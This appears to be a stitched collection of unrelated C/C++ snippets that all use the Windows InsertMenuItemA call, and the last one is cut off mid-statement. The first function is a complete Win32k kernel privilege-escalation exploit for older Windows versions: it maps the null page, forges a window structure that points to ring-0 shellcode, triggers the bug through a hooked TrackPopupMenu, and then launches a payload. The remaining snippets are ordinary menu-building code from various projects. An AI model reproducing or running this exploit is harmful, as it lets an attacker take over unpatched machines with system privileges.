void Win32kNullPage(LPVOID lpPayload) { HWND hWnd; WNDCLASSA WndClass; LPBYTE promise_land = NULL; HMODULE hNtdll = NULL; HMODULE ntkrnl = NULL; NTSTATUS status; PULONG pSystemInfoBuffer = NULL; lZwQuerySystemInformation pZwQuerySystemInformation = NULL; ULONG SystemInfoBufferSize = 0; char nt_name[256]; PVOID nt_base; OSVERSIONINFOA VersionInformation; // Getting Windows version LogMessage("[*] Getting Windows version..."); memset(&VersionInformation, 0, sizeof(OSVERSIONINFOA)); VersionInformation.dwOSVersionInfoSize = 148; if (!GetVersionExA(&VersionInformation)) { LogMessage("[!] Failed to get windows version"); return; } #ifdef _M_X64 if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 LogMessage("[*] Windows 6.1 found..."); OffsetWindows = 0x208; } #else if (VersionInformation.dwMajorVersion == 6) { if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 LogMessage("[*] Windows 6.1 found..."); OffsetWindows = 0xf8; } else if (!VersionInformation.dwMinorVersion) { LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2 OffsetWindows = 0xe0; } else { LogMessage("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", VersionInformation.dwMinorVersion); return; } } else if (VersionInformation.dwMajorVersion == 5) { if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3 LogMessage("[*] Windows 5.1 found..."); OffsetWindows = 0xc8; } else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2) { // Ex: Windows 2003 SP2 LogMessage("[*] Windows 5.2 found..."); OffsetWindows = 0xd8; } else { LogMessage("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm"); return; } } #endif else { LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion); return; } // Solve symbols LogMessage("[*] Solving symbols..."); hNtdll = LoadLibraryA("ntdll"); if (hNtdll == NULL) { LogMessage("[!] Failed to Load ntdll..."); return; } pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); if (pZwQuerySystemInformation == NULL) { LogMessage("[!] Failed to solve ZwQuerySystemInformation"); return; } pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (pNtAllocateVirtualMemory == NULL) { LogMessage("[!] Failed to solve NtAllocateVirtualMemory"); return; } LogMessage("[*] Requesting Kernel loaded modules..."); status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize); if (SystemInfoBufferSize == 0) { LogMessage("[!] Requesting pZwQuerySystemInformation required length failed"); return; } else { LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize); } pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize); if (pSystemInfoBuffer == NULL) { LogMessage("[!] Allocation for SystemInfo failed"); return; } status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize); if (status != STATUS_SUCCESS) { LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed"); return; } LogMessage("[*] Parsing SYSTEM_INFO..."); SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer; LogMessage("[*] %d Kernel modules found\n", smi->ModulesCount); memset(nt_name, 0, 256); int i = 0; while (i < smi->ModulesCount) { SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i); LogMessage("[*] Checking module %s", sm->Name); if (strstr((char *)sm->Name, ".exe")) { char *start = strstr((char *)sm->Name, "nt"); if (start != NULL) { nt_base = sm->ImageBaseAddress; strncpy_s(nt_name, 256, start, _TRUNCATE); break; } } i++; } if (nt_name == NULL) { LogMessage("[!] nt not found"); return; } else { LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base); } ntkrnl = LoadLibraryA(nt_name); LogMessage("[*] %s loaded in userspace at: %08x\n", nt_name, ntkrnl); pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId"); if (pPsLookupProcessByProcessId == NULL) { LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n"); return; } #ifdef _M_X64 pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl)); LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId); #else pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl)); LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId); #endif MyProcessId = GetCurrentProcessId(); // Register Class LogMessage("[*] Registering class..."); memset(&WndClass, 0, sizeof(WNDCLASSA)); WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx WndClass.lpszClassName = "woqunimalegebi"; if (RegisterClassA(&WndClass) == 0) { LogMessage("[!] RegisterClassA failed "); return; } // Create Window LogMessage("[*] Creating window..."); hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL); if (hWnd == NULL) { LogMessage("[!] CreateWindowExA failed"); return; } // Making everything ready for exploitation... LogMessage("[*] Allocating null page..."); #ifdef _M_X64 ULONGLONG base_address = 0x00000000fffffffb; #else DWORD base_address = 1; #endif SIZE_T region_size = 0x1000; ULONG zero_bits = 0; HANDLE current_process = NULL; current_process = GetCurrentProcess(); if (pNtAllocateVirtualMemory(current_process, (LPVOID*)(&base_address), 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { LogMessage("[!] Failed to allocate null page"); return; } LogMessage("[*] Getting PtiCurrent..."); #ifdef _M_X64 ULONGLONG pti = MyPtiCurrent(); #else DWORD pti = MyPtiCurrent(); #endif if (pti == 0) { LoadLibrary("user32.dll"); LoadLibrary("gdi32.dll"); pti = MyPtiCurrent(); } if (pti == 0) { LogMessage("[!] Filed to get PtiCurrent"); return; } else { #ifdef _M_X64 LogMessage("[*] Good! pti 0x%016llx", pti); #else LogMessage("[*] Good! pti 0x%08x", pti); #endif } LogMessage("[*] Creating a fake structure at NULL..."); #ifdef _M_X64 void *test = NULL; (QWORD)test = 0x10000000B; *((PQWORD)test) = pti; /* win32k!tagWND->bServerSideWindowProc = TRUE */ (QWORD)test = 0x100000025; *((PBYTE)test) = 4; /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */ (QWORD)test = 0x10000008B; *((PQWORD)test) = &shellcode_ring0; #else void *test = promise_land + 3; /* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen) .text:BF8B93F4 02C mov edi, _gptiCurrent .text:BF8B93FA 02C cmp edi, [esi + 8]; .text:BF8B93FD 02C jz loc_BF8B */ *(LPDWORD)test = pti; *((LPBYTE)(promise_land + 0x11)) = 0x4; test = promise_land + 0x5b; *(LPDWORD)test = (DWORD)shellcode_ring0; #endif // Exploit! LogMessage("[*] Triggering vulnerability..."); HMENU MenuOne = CreatePopupMenu(); if (MenuOne == NULL) { LogMessage("[!] First CreatePopupMenu failed"); return; } MENUITEMINFOA MenuOneInfo; memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA)); MenuOneInfo.cbSize = sizeof(MENUITEMINFOA); MenuOneInfo.fMask = MIIM_STRING; if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) { LogMessage("[!] First InsertMenuItemA failed"); DestroyMenu(MenuOne); return; } HMENU MenuTwo = CreatePopupMenu(); if (MenuTwo == NULL) { LogMessage("[!] Second CreatePopupMenu failed"); DestroyMenu(MenuOne); return; } MENUITEMINFOA MenuTwoInfo; memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA)); MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA); MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU); MenuTwoInfo.dwTypeData = ""; MenuTwoInfo.cch = 1; MenuTwoInfo.hSubMenu = MenuOne; if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) { LogMessage("[!] Second InsertMenuItemA failed"); DestroyMenu(MenuTwo); DestroyMenu(MenuOne); return; } if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) { LogMessage("[!] SetWindowsHookExA failed :-(\n"); DestroyMenu(MenuTwo); DestroyMenu(MenuOne); return; } // 'crash' it! TrackPopupMenu(MenuTwo, 0, -10000, -10000, 0, hWnd, NULL); // If everything worked process should be privileges at this point LogMessage("[!] Executing payload..."); CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); return; }
/************************************************************************** * ICM_InsertItem() */ void WINAPI _InsertMenuItem ( HMENU hmenu, UINT indexMenu, BOOL fByPosition, UINT wID, UINT fType, LPSTR dwTypeData, UINT fState) { MENUITEMINFOA mii; ZeroMemory(&mii, sizeof(mii)); mii.cbSize = sizeof(mii); if (fType == MFT_SEPARATOR) { mii.fMask = MIIM_ID | MIIM_TYPE; } else { mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_STATE; mii.dwTypeData = dwTypeData; mii.fState = fState; } mii.wID = wID; mii.fType = fType; InsertMenuItemA( hmenu, indexMenu, fByPosition, &mii); }
// must be called after DecideMenuItemInfo() void BuildMRU(TSlotIPC *pct, MENUITEMINFOA &mii, TEnumData *lParam) { if (pct->MRU > 0) { lParam->Self->RecentCount++; // lParam->Self == pointer to object data InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii); } }
void PopupMenu::attachToMenuBar(GuiCanvas *owner, S32 pos, const char *title) { if(owner == NULL || isAttachedToMenuBar()) return; // This is set for sub-menus in the onAttachToMenuBar() callback mCanvas = owner; Win32Window *pWindow = dynamic_cast<Win32Window*>(owner->getPlatformWindow()); if(pWindow == NULL) return; HMENU hWindowMenu = pWindow->getMenuHandle(); if(hWindowMenu == NULL) { hWindowMenu = CreateMenu(); if(hWindowMenu) { pWindow->setMenuHandle( hWindowMenu); } } MENUITEMINFOA mii; mii.cbSize = sizeof(MENUITEMINFOA); mii.fMask = MIIM_STRING|MIIM_DATA; mii.dwTypeData = (LPSTR)title; mii.fMask |= MIIM_ID; mii.wID = mData->mMenuID; mii.fMask |= MIIM_SUBMENU; mii.hSubMenu = mData->mMenu; mii.dwItemData = (ULONG_PTR)this; InsertMenuItemA(hWindowMenu, pos, TRUE, &mii); HWND hWindow = pWindow->getHWND(); DrawMenuBar(hWindow); pWindow->addAccelerators(mData->mAccelerators); // Add accelerators for sub menus for(SimSet::iterator i = mSubmenus->begin();i != mSubmenus->end();++i) { PopupMenu *submenu = dynamic_cast<PopupMenu *>(*i); if(submenu == NULL) continue; pWindow->addAccelerators(submenu->mData->mAccelerators); } onAttachToMenuBar(owner, pos, title); }
S32 PopupMenu::insertItem(S32 pos, const char *title, const char* accelerator) { Win32Window *pWindow = mCanvas ? dynamic_cast<Win32Window*>(mCanvas->getPlatformWindow()) : NULL; bool isAttached = isAttachedToMenuBar(); if(isAttached && pWindow == NULL) return -1; MENUITEMINFOA mi; mi.cbSize = sizeof(mi); mi.fMask = MIIM_ID|MIIM_TYPE; mi.wID = (mData->mMenuID * PlatformPopupMenuData::PopupMenuIDRange) + mData->mLastID + 1; mData->mLastID++; if(title && *title) mi.fType = MFT_STRING; else mi.fType = MFT_SEPARATOR; char buf[1024]; if(accelerator && *accelerator) { dSprintf(buf, sizeof(buf), "%s\t%s", title, accelerator); if(isAttached) pWindow->removeAccelerators(mData->mAccelerators); // Build entry for accelerator table EventDescriptor accelDesc; if(ActionMap::createEventDescriptor(accelerator, &accelDesc)) mData->insertAccelerator(accelDesc, mi.wID); else Con::errorf("PopupMenu::insertItem - Could not create event descriptor for accelerator \"%s\"", accelerator); if(isAttached) pWindow->addAccelerators(mData->mAccelerators); } else dSprintf(buf, sizeof(buf), "%s", title); mi.dwTypeData = (LPSTR)buf; if(InsertMenuItemA(mData->mMenu, pos, TRUE, &mi)) { if(isAttached) { HWND hWindow = pWindow->getHWND(); DrawMenuBar(hWindow); } return mi.wID; } return -1; }
static void BuildMenuGroupTree(TGroupNode *p, TEnumData *lParam, HMENU hLastMenu) { MENUITEMINFOA mii = { 0 }; mii.cbSize = sizeof(mii); mii.fMask = MIIM_ID | MIIM_DATA | MIIM_TYPE | MIIM_SUBMENU; // go thru each group and create a menu for it adding submenus too. while (p != NULL) { mii.hSubMenu = CreatePopupMenu(); if (p->Left != NULL) BuildMenuGroupTree(p->Left, lParam, mii.hSubMenu); p->hMenu = mii.hSubMenu; DecideMenuItemInfo(NULL, p, mii, lParam); InsertMenuItemA(hLastMenu, 0xFFFFFFFF, true, &mii); p = p->Right; } }
// New version of above for use by MenuBar class. Do not use yet. void PopupMenu::attachToMenuBar(GuiCanvas *owner, S32 pos) { Win32Window *pWindow = dynamic_cast<Win32Window*>(owner->getPlatformWindow()); if(pWindow == NULL) return; //When playing a journal, the system menu is not actually shown if (Journal::IsPlaying()) { onAttachToMenuBar(owner, pos, mBarTitle); return; } HMENU hWindowMenu = pWindow->getMenuHandle(); MENUITEMINFOA mii; mii.cbSize = sizeof(MENUITEMINFOA); mii.fMask = MIIM_STRING|MIIM_DATA; mii.dwTypeData = (LPSTR)mBarTitle; mii.fMask |= MIIM_ID; mii.wID = mData->mMenuID; mii.fMask |= MIIM_SUBMENU; mii.hSubMenu = mData->mMenu; mii.dwItemData = (ULONG_PTR)this; InsertMenuItemA(hWindowMenu, pos, TRUE, &mii); pWindow->addAccelerators(mData->mAccelerators); // Add accelerators for sub menus (have to do this here as it's platform specific) for(SimSet::iterator i = mSubmenus->begin();i != mSubmenus->end();++i) { PopupMenu *submenu = dynamic_cast<PopupMenu *>(*i); if(submenu == NULL) continue; pWindow->addAccelerators(submenu->mData->mAccelerators); } onAttachToMenuBar(owner, pos, mBarTitle); }
S32 PopupMenu::insertSubMenu(S32 pos, const char *title, PopupMenu *submenu) { Win32Window *pWindow = mCanvas ? dynamic_cast<Win32Window*>(mCanvas->getPlatformWindow()) : NULL; bool isAttached = isAttachedToMenuBar(); if(isAttached && pWindow == NULL) return -1; for(S32 i = 0;i < mSubmenus->size();i++) { if(submenu == (*mSubmenus)[i]) { Con::errorf("PopupMenu::insertSubMenu - Attempting to add submenu twice"); return -1; } } MENUITEMINFOA mi; mi.cbSize = sizeof(mi); mi.fMask = MIIM_ID|MIIM_TYPE|MIIM_SUBMENU|MIIM_DATA; mi.wID = (mData->mMenuID * PlatformPopupMenuData::PopupMenuIDRange) + mData->mLastID + 1; if(title && *title) mi.fType = MFT_STRING; else mi.fType = MFT_SEPARATOR; mi.dwTypeData = (LPSTR)title; mi.hSubMenu = submenu->mData->mMenu; mi.dwItemData = (ULONG_PTR)submenu; if(InsertMenuItemA(mData->mMenu, pos, TRUE, &mi)) { mSubmenus->addObject(submenu); if(isAttached) { pWindow->addAccelerators(submenu->mData->mAccelerators); HWND hWindow = pWindow->getHWND(); DrawMenuBar(hWindow); } return mi.wID; } return -1; }
BOOL InsertMenuItemUTF8( HMENU hMenu,UINT uItem, BOOL fByPosition, LPMENUITEMINFO lpmii) { if (lpmii && (lpmii->fMask & MIIM_TYPE) && (lpmii->fType&(MFT_SEPARATOR|MFT_STRING|MFT_BITMAP)) == MFT_STRING && lpmii->dwTypeData && WDL_HasUTF8(lpmii->dwTypeData) && GetVersion()<0x80000000) { BOOL rv; MENUITEMINFOW tmp = *(MENUITEMINFOW*)lpmii; MBTOWIDE(wbuf,lpmii->dwTypeData); if (wbuf_ok) { tmp.cbSize=sizeof(tmp); tmp.dwTypeData = wbuf; rv=InsertMenuItemW(hMenu,uItem,fByPosition,&tmp); MBTOWIDE_FREE(wbuf); return rv; } MBTOWIDE_FREE(wbuf); } return InsertMenuItemA(hMenu,uItem,fByPosition,lpmii); }
void VDAppendMenuSeparatorW32(HMENU hmenu) { int pos = GetMenuItemCount(hmenu); if (pos < 0) return; if (VDIsWindowsNT()) { MENUITEMINFOW mmiW; vdfastfixedvector<wchar_t, 256> bufW; mmiW.cbSize = MENUITEMINFO_SIZE_VERSION_400W; mmiW.fMask = MIIM_TYPE; mmiW.fType = MFT_SEPARATOR; InsertMenuItemW(hmenu, pos, TRUE, &mmiW); } else { MENUITEMINFOA mmiA; mmiA.cbSize = MENUITEMINFO_SIZE_VERSION_400A; mmiA.fMask = MIIM_TYPE; mmiA.fType = MFT_SEPARATOR; InsertMenuItemA(hmenu, pos, TRUE, &mmiA); } }
/* MAKE_EXPORT InsertMenuItemW_new=InsertMenuItemW */ BOOL WINAPI InsertMenuItemW_new(HMENU hMenu, UINT uItem, BOOL fByPosition, LPCMENUITEMINFO lpmii) { MENUITEMINFOA mii; BOOL result; LPSTR lpTypeData; if(IsBadReadPtr(lpmii, sizeof(MENUITEMINFOW))) return FALSE; memcpy(&mii, lpmii, sizeof(MENUITEMINFOA)); lpTypeData = NULL; STACK_WtoA(lpmii->dwTypeData, lpTypeData); mii.dwTypeData = lpTypeData; result = InsertMenuItemA(hMenu, uItem, fByPosition, lpmii); if(!result) return FALSE; return TRUE; }
static void BuildMenus(TEnumData *lParam) { LPSTR Token; TMenuDrawInfo *psd; HANDLE hDllHeap = lParam->Self->hDllHeap; HMENU hBaseMenu = lParam->Self->hRootMenu; // build an in memory tree of the groups TGroupNodeList j = { 0, 0 }; TSlotIPC *pg = lParam->ipch->GroupsBegin; while (pg != NULL) { if (pg->cbSize != sizeof(TSlotIPC) || pg->fType != REQUEST_GROUPS) break; UINT Depth = 0; TGroupNode *p = j.First; // start at root again // get the group Token = strtok(LPSTR(pg) + sizeof(TSlotIPC), "\\"); while (Token != NULL) { UINT Hash = murmur_hash(Token); // if the (sub)group doesn't exist, create it. TGroupNode *q = FindGroupNode(p, Hash, Depth); if (q == NULL) { q = AllocGroupNode(&j, p, Depth); q->Depth = Depth; // this is the hash of this group node, but it can be anywhere // i.e. Foo\Foo this is because each node has a different depth // trouble is contacts don't come with depths! q->Hash = Hash; // don't assume that pg->hGroup's hash is valid for this token // since it maybe Miranda\Blah\Blah and we have created the first node // which maybe Miranda, thus giving the wrong hash // since "Miranda" can be a group of it's own and a full path q->cchGroup = lstrlenA(Token); q->szGroup = (LPSTR)HeapAlloc(hDllHeap, 0, q->cchGroup + 1); lstrcpyA(q->szGroup, Token); q->dwItems = 0; } p = q; Depth++; Token = strtok(NULL, "\\"); } pg = pg->Next; } // build the menus inserting into hGroupMenu which will be a submenu of // the instance menu item. e.g. Miranda -> [Groups ->] contacts HMENU hGroupMenu = CreatePopupMenu(); // allocate MRU menu, this will be associated with the higher up menu // so doesn't need to be freed (unless theres no MRUs items attached) // This menu is per process but the handle is stored globally (like a stack) lParam->Self->hRecentMenu = CreatePopupMenu(); lParam->Self->RecentCount = 0; // create group menus only if they exist! if (lParam->ipch->GroupsBegin != NULL) { BuildMenuGroupTree(j.First, lParam, hGroupMenu); // add contacts that have a group somewhere BuildContactTree(j.First, lParam); } MENUITEMINFOA mii = { 0 }; mii.cbSize = sizeof(mii); mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_DATA; // add all the contacts that have no group (which maybe all of them) pg = lParam->ipch->ContactsBegin; while (pg != NULL) { if (pg->cbSize != sizeof(TSlotIPC) || pg->fType != REQUEST_CONTACTS) break; if (pg->hGroup == 0) { DecideMenuItemInfo(pg, NULL, mii, lParam); BuildMRU(pg, mii, lParam); InsertMenuItemA(hGroupMenu, 0xFFFFFFFF, true, &mii); } pg = pg->Next; } // insert MRU menu as a submenu of the contact menu only if // the MRU list has been created, the menu popup will be deleted by itself if (lParam->Self->RecentCount > 0) { // insert seperator and 'clear list' menu mii.fType = MFT_SEPARATOR; mii.fMask = MIIM_TYPE; InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii); // insert 'clear MRU' item and setup callback mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_DATA; mii.wID = lParam->idCmdFirst; lParam->idCmdFirst++; mii.fType = MFT_STRING; mii.dwTypeData = lParam->ipch->ClearEntries; // "Clear entries" // allocate menu substructure psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo)); psd->fTypes = dtCommand; psd->MenuCommandCallback = &ClearMRUIPC; psd->wID = mii.wID; // this is needed because there is a clear list command per each process. psd->pid = lParam->pid; mii.dwItemData = (LPARAM)psd; InsertMenuItemA(lParam->Self->hRecentMenu, 0xFFFFFFFF, true, &mii); // insert MRU submenu into group menu (with) ownerdraw support as needed psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo)); psd->szProfile = "MRU"; psd->fTypes = dtGroup; // the IPC string pointer wont be around forever, must make a copy psd->cch = (int)strlen(lParam->ipch->MRUMenuName); psd->szText = (LPSTR)HeapAlloc(hDllHeap, 0, psd->cch + 1); lstrcpynA(psd->szText, lParam->ipch->MRUMenuName, sizeof(lParam->ipch->MRUMenuName) - 1); mii.dwItemData = (LPARAM)psd; if (lParam->bOwnerDrawSupported && lParam->bShouldOwnerDraw) { mii.fType = MFT_OWNERDRAW; mii.dwTypeData = (LPSTR)psd; } else mii.dwTypeData = lParam->ipch->MRUMenuName; // 'Recent'; mii.wID = lParam->idCmdFirst; lParam->idCmdFirst++; mii.fMask = MIIM_TYPE | MIIM_SUBMENU | MIIM_DATA | MIIM_ID; mii.hSubMenu = lParam->Self->hRecentMenu; InsertMenuItemA(hGroupMenu, 0, true, &mii); } else { // no items were attached to the MRU, delete the MRU menu DestroyMenu(lParam->Self->hRecentMenu); lParam->Self->hRecentMenu = 0; } // allocate display info/memory for "Miranda" string mii.cbSize = sizeof(mii); if (bIsVistaPlus) mii.fMask = MIIM_ID | MIIM_DATA | MIIM_FTYPE | MIIM_SUBMENU | MIIM_STRING | MIIM_BITMAP; else mii.fMask = MIIM_ID | MIIM_DATA | MIIM_TYPE | MIIM_SUBMENU; mii.hSubMenu = hGroupMenu; // by default, the menu will have space for icons and checkmarks (on Vista+) && we don't need this RemoveCheckmarkSpace(hGroupMenu); psd = (TMenuDrawInfo*)HeapAlloc(hDllHeap, 0, sizeof(TMenuDrawInfo)); psd->cch = (int)strlen(lParam->ipch->MirandaName); psd->szText = (LPSTR)HeapAlloc(hDllHeap, 0, psd->cch + 1); lstrcpynA(psd->szText, lParam->ipch->MirandaName, sizeof(lParam->ipch->MirandaName) - 1); // there may not be a profile name pg = lParam->ipch->DataPtr; psd->szProfile = NULL; if (pg != NULL && pg->Status == STATUS_PROFILENAME) { psd->szProfile = (LPSTR)HeapAlloc(hDllHeap, 0, pg->cbStrSection); lstrcpyA(psd->szProfile, LPSTR(UINT_PTR(pg) + sizeof(TSlotIPC))); } // owner draw menus need ID's mii.wID = lParam->idCmdFirst; lParam->idCmdFirst++; psd->fTypes = dtEntry; psd->wID = mii.wID; psd->hContact = 0; // get Miranda's icon or bitmap UINT c = lParam->Self->ProtoIconsCount; TSlotProtoIcons *pp = lParam->Self->ProtoIcons; while (c > 0) { c--; if (pp[c].pid == lParam->pid && pp[c].hProto == 0) { // either of these can be 0 psd->hStatusIcon = pp[c].hIcons[0]; mii.hbmpItem = pp[c].hBitmaps[0]; break; } } mii.dwItemData = (UINT_PTR)psd; if (lParam->bOwnerDrawSupported && lParam->bShouldOwnerDraw) { mii.fType = MFT_OWNERDRAW; mii.dwTypeData = (LPSTR)psd; } else { mii.fType = MFT_STRING; mii.dwTypeData = lParam->ipch->MirandaName; mii.cch = sizeof(lParam->ipch->MirandaName) - 1; } // add it all InsertMenuItemA(hBaseMenu, 0, true, &mii); // free the group tree FreeGroupTreeAndEmptyGroups(hGroupMenu, NULL, j.First); }
void BuildContactTree(TGroupNode *group, TEnumData *lParam) { // set up the menu item MENUITEMINFOA mii = { sizeof(mii) }; mii.fMask = MIIM_ID | MIIM_TYPE | MIIM_DATA; // go thru all the contacts TSlotIPC *pct = lParam->ipch->ContactsBegin; while (pct != NULL && pct->cbSize == sizeof(TSlotIPC) && pct->fType == REQUEST_CONTACTS) { if (pct->hGroup != 0) { // at the } of the slot header is the contact's display name // && after a double NULL char there is the group string, which has the full path of the group // this must be tokenised at '\' and we must walk the in memory group tree til we find our group // this is faster than the old version since we only ever walk one or at most two levels of the tree // per tokenised section, and it doesn't matter if two levels use the same group name (which is valid) // as the tokens processed is equatable to depth of the tree char *sz = strtok(LPSTR(UINT_PTR(pct) + sizeof(TSlotIPC) + UINT_PTR(pct->cbStrSection) + 1), "\\"); // restore the root TGroupNode *pg = group; int Depth = 0; while (sz != NULL) { UINT Hash = murmur_hash(sz); // find this node within while (pg != NULL) { // does this node have the right hash and the right depth? if (Hash == pg->Hash && Depth == pg->Depth) break; // each node may have a left pointer going to a sub tree // the path syntax doesn't know if a group is a group at the same level // or a nested one, which means the search node can be anywhere TGroupNode *px = pg->Left; if (px != NULL) { // keep searching this level while (px != NULL) { if (Hash == px->Hash && Depth == px->Depth) { // found the node we're looking for at the next level to pg, px is now pq for next time pg = px; goto grouploop; } px = px->Right; } } pg = pg->Right; } grouploop: Depth++; // process next token sz = strtok(NULL, "\\"); } // tokenisation finished, if pg != NULL the group is found if (pg != NULL) { DecideMenuItemInfo(pct, NULL, mii, lParam); BuildMRU(pct, mii, lParam); InsertMenuItemA(pg->hMenu, 0xFFFFFFFF, true, &mii); pg->dwItems++; } } pct = pct->Next; } }
void CreateMenus() { // Create our menu objects. g_hMenu = CreateMenu(); HMENU hMenuSub_file = CreatePopupMenu(); HMENU hMenuSub_edit = CreatePopupMenu(); HMENU hMenuSub_tools = CreatePopupMenu(); HMENU hMenuSub_help = CreatePopupMenu(); g_hMenuSub_context = CreatePopupMenu(); // FILE MENU MENUITEMINFOA mii = { NULL }; mii.cbSize = sizeof( MENUITEMINFOA ); mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_STATE; mii.fType = MFT_STRING; mii.dwTypeData = "&Open...\tCtrl+O"; mii.cch = 15; mii.wID = MENU_OPEN; InsertMenuItemA( hMenuSub_file, 0, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( hMenuSub_file, 1, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Save All...\tCtrl+S"; mii.cch = 18; mii.wID = MENU_SAVE_ALL; mii.fState = MFS_DISABLED; InsertMenuItemA( hMenuSub_file, 2, TRUE, &mii ); mii.dwTypeData = "Save Selected...\tCtrl+Shift+S"; mii.cch = 29; mii.wID = MENU_SAVE_SEL; InsertMenuItemA( hMenuSub_file, 3, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( hMenuSub_file, 4, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Export to CSV...\tCtrl+E"; mii.cch = 23; mii.wID = MENU_EXPORT; InsertMenuItemA( hMenuSub_file, 5, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( hMenuSub_file, 6, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "E&xit"; mii.cch = 5; mii.wID = MENU_EXIT; mii.fState = MFS_ENABLED; InsertMenuItemA( hMenuSub_file, 7, TRUE, &mii ); // EDIT MENU mii.fType = MFT_STRING; mii.dwTypeData = "Remove Selected\tCtrl+R"; mii.cch = 22; mii.wID = MENU_REMOVE_SEL; mii.fState = MFS_DISABLED; InsertMenuItemA( hMenuSub_edit, 0, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( hMenuSub_edit, 1, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Copy Selected\tCtrl+C"; mii.cch = 20; mii.wID = MENU_COPY_SEL; InsertMenuItemA( hMenuSub_edit, 2, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( hMenuSub_edit, 3, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Select All\tCtrl+A"; mii.cch = 17; mii.wID = MENU_SELECT_ALL; InsertMenuItemA( hMenuSub_edit, 4, TRUE, &mii ); // TOOLS MENU mii.fType = MFT_STRING; mii.dwTypeData = "Map File Paths...\tCtrl+M"; mii.cch = 24; mii.wID = MENU_SCAN; InsertMenuItemA( hMenuSub_tools, 0, TRUE, &mii ); // HELP MENU mii.dwTypeData = "&About"; mii.cch = 6; mii.wID = MENU_ABOUT; mii.fState = MFS_ENABLED; InsertMenuItemA( hMenuSub_help, 0, TRUE, &mii ); // MENU BAR mii.fMask = MIIM_TYPE | MIIM_SUBMENU; mii.dwTypeData = "&File"; mii.cch = 5; mii.hSubMenu = hMenuSub_file; InsertMenuItemA( g_hMenu, 0, TRUE, &mii ); mii.dwTypeData = "&Edit"; mii.cch = 5; mii.hSubMenu = hMenuSub_edit; InsertMenuItemA( g_hMenu, 1, TRUE, &mii ); mii.dwTypeData = "&Tools"; mii.cch = 6; mii.hSubMenu = hMenuSub_tools; InsertMenuItemA( g_hMenu, 2, TRUE, &mii ); mii.dwTypeData = "&Help"; mii.cch = 5; mii.hSubMenu = hMenuSub_help; InsertMenuItemA( g_hMenu, 3, TRUE, &mii ); // CONTEXT MENU (for right click) mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_STATE; mii.fState = MFS_DISABLED; mii.dwTypeData = "Save Selected..."; mii.cch = 16; mii.wID = 